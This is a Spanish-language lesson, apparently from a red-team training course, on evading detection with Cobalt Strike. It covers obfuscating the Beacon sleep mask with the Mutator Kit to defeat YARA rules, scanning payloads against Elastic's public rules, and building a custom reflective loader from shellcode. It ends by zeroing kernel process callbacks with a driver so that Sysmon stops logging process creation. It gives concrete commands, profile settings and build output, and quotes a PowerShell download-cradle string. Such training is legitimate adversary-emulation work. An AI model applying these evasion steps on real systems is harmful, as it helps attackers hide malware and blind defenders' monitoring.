Mutator Kit es la incorporación más reciente al Arsenal de Cobalt Strike, que consiste en un obfuscador LLVM diseñado para romper la detección con YARA scanning de la sleep mask en memoria. Si no estás familiarizado con LLVM, este video "LLVM in 100 Seconds" de Fireship ofrece una buena introducción. Básicamente, LLVM es un toolkit de compilador que puede tomar el código fuente de cualquier lenguaje y producir código máquina nativo para CPU compatible. Esto se hace transformando primero el código fuente en una intermediate representation (IR). Este IR es un lenguaje de "reduced instruction set computer" (RISC), parecido a assembly. Después, el IR se compila como un archivo objeto nativo estático para la arquitectura elegida. LLVM ya tiene lexers y parsers para muchos lenguajes populares, pero también puedes escribir los tuyos. Esto te permite inventar tu propio lenguaje de programación y dejar que LLVM lo compile. El proyecto LLVM incluso tiene una serie de tutoriales sobre cómo hacerlo desde cero.

Mutator Kit toma el código fuente del Sleep Mask Kit y lo pasa por el IR de LLVM. Luego aplica varias técnicas de obfuscación antes de generar la build final. Esto es una forma inteligente de proporcionar ofuscación sin modificar directamente el código fuente original, y cada build del Sleep Mask Kit será única.

Hay 4 tipos de ofuscación posibles con este kit:

  • Substitution: reemplaza operadores binarios con otros equivalentes en funcionalidad. Por ejemplo, cambiar a = b + c por a = b - (-c) y otras variaciones.
  • Control Flow Flattening & Basic-Block Splitting: manipula el flujo de control de una función eliminando estructuras condicionales y de bucle fácilmente identificables.
  • Bogus: inserta bloques de control falsos para manipular el flujo de control de la función. Lo hace añadiendo un salto condicional que puede ir al bloque original o a un bloque falso que vuelve al bloque del salto condicional. Esta opción está desactivada por defecto porque puede incrementar el tamaño final del sleep mask compilado.

Antes de usar Mutator Kit, asegúrate de que tu C2 profile esté configurado de la manera recomendada:

stage {
    set sleep_mask "true";
    set cleanup "true";
    set userwx "false";
}

process-inject {
    set startrwx "false";
    set userwx "false";
}

Los payloads generados con este profile tendrán el sleep mask por defecto, que activará la regla Windows_Trojan_CobaltStrike_b54b94ac de YARA porque se dirige específicamente a la rutina de ofuscación del sleep.

En lugar de compilar el Sleep Mask Kit y cargar sleepmask.cna como en la lección anterior, carga sleepmask_mutator.cna desde C:\Tools\cobaltstrike\arsenal-kit\kits\mutator\. Esto añadirá un nuevo ítem de menú Sleep Mask Mutator que abrirá una ventana de preferencias. Puedes dejar estas opciones como están.

Luego, genera un nuevo set de payloads con Payloads > Windows Stageless Generate All Payloads. Si abres la Script Console, verás cómo el aggressor script llama a WSL para ejecutar la obfuscación LLVM en el sleep mask por defecto:

[sleepmask_mutator.cna] [+] BEACON_SLEEP_MASK hook invoked for LLVM mutated sleep mask
[sleepmask_mutator.cna] [*] Compiling an x64 LLVM mutated sleep mask...
[sleepmask_mutator.cna] wsl.exe --cd C:\Tools\cobaltstrike\arsenal-kit\kits -- CLANG=clang-14 LLVM_VERSION=14 LLVM_OBFUSCATOR_PATH=./mutator/libLLVMObfuscator.so OBFUSCATIONS=substitution,flattening,split-basic-blocks ./mutator/mutator.sh x64 -c -DIMPL_CHKSTK_MS=1 -DMASK_TEXT_SECTION=1 -o ./mutator/build/sleepmask.x64.o ./sleepmask/src49/sleepmask.c
[sleepmask_mutator.cna] C:\Tools\cobaltstrike\arsenal-kit\kits\mutator\build\sleepmask.x64.o length: 5041 bytes
[sleepmask_mutator.cna] [+] LLVM mutated sleep mask .text section SHA-256:
[sleepmask_mutator.cna] 412ee9b145471e91e772f0768a8ad827c2dbf3ff67626feedf92ce5c99b6f7ac
[sleepmask_mutator.cna] [+] Extracted LLVM mutated sleep mask bof length: 4665 bytes

El script imprime el checksum SHA256 de la sección .text del mask, 412ee9b145471e91e772f0768a8ad827c2dbf3ff67626feedf92ce5c99b6f7ac en este ejemplo. Si analizas toda la salida, verás que cada sleep mask tiene un checksum diferente.

Muchas de las firmas YARA anteriores ya no aparecerán.

Un punto a considerar sobre Mutator Kit es que no es compatible con evasive sleep ni con syscalls. Esto se debe a que syscalls involucran código assembly inline que no se puede mutar sin romper la funcionalidad; y como el objetivo de este kit es evadir firmas YARA enfocadas al sleep mask en memoria, la evasive sleep mask ya no es necesaria.


Testing with YARA

No es muy cómodo preparar un Beacon o una post-ex assembly y soltarla en la máquina objetivo para ver si se detecta o no. Al igual que con ThreatCheck, es mucho mejor probar las herramientas localmente primero. Elastic es muy abierto en el uso de YARA rules para reforzar su cobertura de detecciones e incluso ha hecho pública su colección. Podemos usarlas para probar nuestras herramientas y payloads antes de usarlos en la máquina objetivo. Sin embargo, es importante entender que esto es solo una parte de su solución; que evadamos sus YARA públicas no significa que no seremos detectados. Otros fabricantes de AV/EDR también podrían usar estas reglas como referencia y añadir sus propias técnicas privadas.

El ejecutable YARA se encuentra en C:\Tools\protections-artifacts y es muy útil para escanear un archivo en disco o un proceso en ejecución contra uno o más .yar. La sintaxis es yara [OPTIONS] RULES_FILE TARGET.

Por ejemplo, para escanear un payload de Beacon en disco:

C:\Tools\protections-artifacts>yara64.exe -s yara\rules\Windows_Trojan_CobaltStrike.yar C:\Payloads\http_x64.exe
Windows_Trojan_CobaltStrike_7f8da98a C:\Payloads\http_x64.exe
0x4b000:$a1: 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 4D 53 53 45 2D 25 64 2D 73 65 72 76 65 72

Para escanear un proceso en ejecución:

C:\Tools\protections-artifacts>yara64.exe -s yara\rules\Windows_Trojan_CobaltStrike.yar 2296
Windows_Trojan_CobaltStrike_ee756db7 2296
0x1af01b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0x1af785:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset.
0x1afa49:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/')
0x1af07e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0x1af20f:$a7: could not run command (w/ token) because of its length of %d bytes!

Escanear procesos en memoria es una forma rápida de probar configuraciones de evasión, como el sleep mask.


User-Defined Reflective Loader

Como ya hemos mencionado, tanto el payload DLL de Beacon como los fork & run post-ex DLLs se cargan en memoria usando un reflective loader. Era de esperarse que este componente fuera un objetivo para las firmas de AV y EDR. Si escaneamos shellcode por defecto de Beacon con YARA, probablemente veamos la regla "Windows_Trojan_CobaltStrike_f0b627fc", dirigida específicamente al reflective loader por defecto.

Windows_Trojan_CobaltStrike_f0b627fc C:\Payloads\http_x64.xprocess.bin
0x1896a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
0x19c9b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75

Gran parte del comportamiento sobre el proceso de reflective loading se puede modificar con Malleable C2, pero también puedes ir más allá y usar tu propio loader totalmente personalizado. Con esto obtienes el máximo nivel de flexibilidad y se hace posible gracias a User-Defined Reflective Loader (UDRL) kit. Sin embargo, usar tu propio loader provocará incompatibilidades con algunas configuraciones de Malleable C2 como obfuscate, userwx y sleep_mask.

El equipo de Cobalt Strike proporciona varios ejemplos en una solución de Visual Studio en C:\Tools\cobaltstrike\arsenal-kit\kits\udrl-vs\udrl-vs.sln. Se llaman así:

  • default-loader
  • El loader por defecto basado en el original de Stephen Fewer.
  • obfuscation-loader
  • Un loader estilo “Double Pulsar” que emplea cifrado y compresión.
  • bud-loader
  • Proporciona un ejemplo de uso de Beacon User Data (BUD). Es una estructura C que puede usar un reflective loader para pasar datos adicionales a Beacon.
  • postex-loader
  • El loader fork and run por defecto. Basado funcionalmente en default-loader.

El proyecto library contiene headers y funciones compartidas por cada loader.

La mejor forma de realizar desarrollo y testing de UDRL es con el example.profile de Malleable C2 que se incluye. Este ya está copiado en el team server, así que puedes iniciarlo con:

attacker@teamserver ~/cobaltstrike> sudo ./teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/udrl.profile

También es buena idea descargar o deshabilitar todos tus aggressor scripts en el cliente de CS que influyan en la generación de payload. Después, crea un nuevo HTTP listener que haga beacon de vuelta a 10.10.5.50 y genera nuevo shellcode sin guardrails ni syscalls, etc.

El siguiente paso es incluir ese shellcode en el código fuente de UDRL con el script udrl.py. Esto le dará al loader algo con lo que trabajar en Visual Studio.

PS C:\Tools\cobaltstrike\arsenal-kit\kits\udrl-vs> py.exe .\udrl.py xxd C:\Payloads\http_x64.xprocess.bin .\library\DebugDLL.x64.h
[+] Success: Written C:\Payloads\http_x64.xprocess.bin to .\library\DebugDLL.x64.h

Luego, puedes configurar el proyecto default-loader como startup project y ejecutarlo localmente bajo el depurador. Esto te permite poner breakpoints e inspeccionar variables, etc. La ventana de consola mostrará el output de los PRINT. Finalmente, Beacon empezará a hacer check-in.

Eres libre de hacer los cambios que desees al código fuente del loader. Por ejemplo, podrías cambiar la asignación inicial de memoria de RWX a RW y luego establecer permisos de memoria en cada sección según sus características.

Para integrar tu loader personalizado en Cobalt Strike, cambia a la configuración Release y compila el proyecto. Verás algo parecido a esto:

Build started...
1>------ Build started: Project: default-loader, Configuration: Release x64 ------
1>ReflectiveLoader.cpp
1>Generating code
1>Finished generating code
1>default-loader.vcxproj -> C:\Tools\cobaltstrike\arsenal-kit\kits\udrl-vs\bin\default-loader\Release\x64\default-loader.x64.exe
1>
1>            _      _
1>           | |    | |
1>  _   _  __| |_ __| |  _ __  _   _
1> | | | |/ _` | '__| | | '_ \| | | |
1> | |_| | (_| | |  | |_| |_) | |_| |
1>  \__,_|\__,_|_|  |_(_) .__/ \__, |
1>                      | |     __/ |
1>                      |_|    |___/
1>
1>[+] Success: Extracted loader
1>[+] Success: Written UDRL to C:\Tools\cobaltstrike\arsenal-kit\kits\udrl-vs\bin\default-loader\Release\x64\default-loader.x64.bin. Total Size: 1249 bytes
========== Build: 1 succeeded, 0 failed, 1 up-to-date, 0 skipped ==========
========== Build started at 2:55 PM and took 03.589 seconds ==========

Visual Studio compilará el loader y automáticamente ejecutará udrl.py para extraer la sección .text del .exe. También verás dos archivos CNA en el directorio bin correspondiente (C:\Tools\cobaltstrike\arsenal-kit\kits\udrl-vs\bin\default-loader en este ejemplo), llamados prepend-udrl y stomp-udrl. Puedes elegir la variante que usar según cómo desees combinar el reflective loader con el Beacon DLL. La variante "prepend" antepone el loader al inicio del DLL, técnica popularizada por el exploit “Double Pulsar”.

[ Loader ] [ Beacon ]

La variante "stomp" parchea el loader dentro del Beacon DLL, siguiendo la técnica de Stephen Fewer.

[ Beacon [ Loader ] ]

Estos loaders de ejemplo no generan binarios particularmente grandes (~2-3KB). Sin embargo, si tus cambios superan los 100KB, tendrás que ajustarlo en tus artifacts para asegurarte de que se asigne suficiente memoria.

Luego, reinicia el team server con tu perfil C2 habitual y regenera los payloads. En mi caso, la regla f0b627fc ya no se dispara.

El reflective loader post-ex puede modificarse y probarse de la misma manera. Sin embargo, necesitamos un DLL de prueba para post-ex en lugar del shellcode de Beacon. Para ello, crea un nuevo proyecto DLL en Visual Studio con este código:

#include <Windows.h>
#include <cstdio>

typedef struct {
    char* start;
    DWORD  length;
    DWORD  offset;
} RDATA_SECTION;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    RDATA_SECTION* rdata = (RDATA_SECTION*)lpReserved;

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        printf("DLL_PROCESS_ATTACH:\n");
        printf("\tDLL Base Address: %p\n", hModule);
        printf("\trdata.start  %p\n", rdata->start);
        printf("\trdata.length %i\n", rdata->length);
        printf("\trdata.offset %i\n", rdata->offset);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    case 4:
        printf("Reason 4:\n");
        printf("\tLoader Base Address: %p\n", hModule);
        printf("\tLoader Argument:     %p\n", lpReserved);
        break;
    }
    return TRUE;
}

Después de compilar el DLL, conviértelo en un array de bytes como hicimos antes:

PS C:\Tools\cobaltstrike\arsenal-kit\kits\udrl-vs> py.exe .\udrl.py xxd .\x64\Release\TestDll.dll .\library\DebugDLL.x64.h
[+] Success: Written .\x64\Release\TestDll.dll to .\library\DebugDLL.x64.h

Cuando ejecutes el postex-loader en modo Debug, verás cómo se mapea el DLL en memoria y el output de los printf definidos en el propio DLL.

Haz las modificaciones que quieras y luego build en Release. Carga el CNA asociado en C:\Tools\cobaltstrike\arsenal-kit\kits\udrl-vs\bin\postex-loader\prepend-postex-udrl.cna y Beacon usará ese loader en tus comandos fork and run.


Kernel Callbacks

Los drivers de Windows pueden registrar callback routines en el kernel, que se activan cuando ocurren ciertos eventos. Estos incluyen creación de procesos e hilos, image loads y operaciones de registro. Por ejemplo, cuando un usuario intenta iniciar un .exe, se envía una notificación a cualquier driver que se haya registrado con PsSetCreateProcessNotifyRoutineEx. El driver entonces tiene la oportunidad de tomar acción, como bloquear el proceso para que no inicie o inyectar un DLL de userland en él.

Estos callbacks se almacenan en la memoria del kernel y cada rutina tiene su propio "array", como PspCreateProcessNotifyRoutine. Cada entrada en el array contiene un puntero a una función en el driver que haya registrado el callback. Cuando sucede el evento en cuestión, el kernel itera sobre cada entrada en el array y ejecuta la callback function de cada driver. Todo esto ocurre antes de devolver el control al usuario, por lo que es muy difícil intervenirlos desde userland.

Aplicaciones como Sysmon (igual que otros AV/EDR) tienen un driver que proporciona gran parte de su telemetry. Debido a que estos callbacks se almacenan en la memoria del kernel, existe la posibilidad de eliminarlos o modificarlos con un driver personalizado.

Este abuso está disponible en el driver RedOctober. Primero, listamos todos los process callbacks con el comando list_process_callbacks. Esto funciona localizando el array PspCreateProcessNotifyRoutine en la memoria del kernel, recorriendo cada entrada y resolviendo el módulo al que apunta la dirección de callback. Algunas entradas interesantes aparecen resaltadas.

Luego, usamos zero_process_callback para un callback (referenciado por su índice en el array). Esto parchea el puntero de función con 0x0:

beacon> zero_process_callback 5
[*] Tasked Beacon to zero process callback

[05/22 14:03:14] beacon> zero_process_callback 9
[*] Tasked Beacon to zero process callback

Al volver a listar los callbacks, vemos que las entradas 5 y 9 ya no están:

En el caso particular de Sysmon, puedes verificarlo limpiando los logs en Microsoft-Windows-Sysmon/Operational y lanzando un nuevo proceso. El Event ID 1 (process created) ya no se generará.